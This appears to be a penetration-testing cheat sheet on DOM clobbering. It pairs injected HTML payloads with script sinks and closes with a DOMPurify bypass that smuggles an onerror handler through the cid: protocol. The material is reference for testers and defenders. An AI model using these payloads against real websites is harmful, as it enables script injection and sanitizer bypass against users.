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DOM Clobbering

DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.

Summary

Tools

Methodology

Exploitation requires any kind of HTML injection in the page.

  • Clobbering x.y.value 

    // Payload
<form id=x><output id=y>I've been clobbered</output>

// Sink
<script>alert(x.y.value);</script>

  • Clobbering x.y using ID and name attributes together to form a DOM collection 

    // Payload
<a id=x><a id=x name=y href="Clobbered">

// Sink
<script>alert(x.y)</script>

  • Clobbering x.y.z - 3 levels deep 

    // Payload
<form id=x name=y><input id=z></form>
<form id=x></form>

// Sink
<script>alert(x.y.z)</script>

  • Clobbering a.b.c.d - more than 3 levels 

    // Payload
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>

// Sink
<script>alert(a.b.c.d)</script>

  • Clobbering forEach (Chrome only) 

    // Payload
<form id=x>
<input id=y name=z>
<input id=y>
</form>

// Sink
<script>x.y.forEach(element=>alert(element))</script>

  • Clobbering document.getElementById() using <html> or <body> tag with the same id attribute 

    // Payloads
<html id="cdnDomain">clobbered</html>
<svg><body id=cdnDomain>clobbered</body></svg>


// Sink 
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>

  • Clobbering x.username 

    // Payload
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">

// Sink
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>

  • Clobbering (Firefox only) 

    // Payload
<base href=a:abc><a id=x href="Firefox<>">

// Sink
<script>
alert(x)//Firefox<>
</script>

  • Clobbering (Chrome only) 

    // Payload
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>

// Sink
<script>
alert(x.xyz)//a://Clobbered<>
</script>

Tricks

  • DomPurify allows the protocol cid:, which doesn't encode double quote ("): <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

Lab

References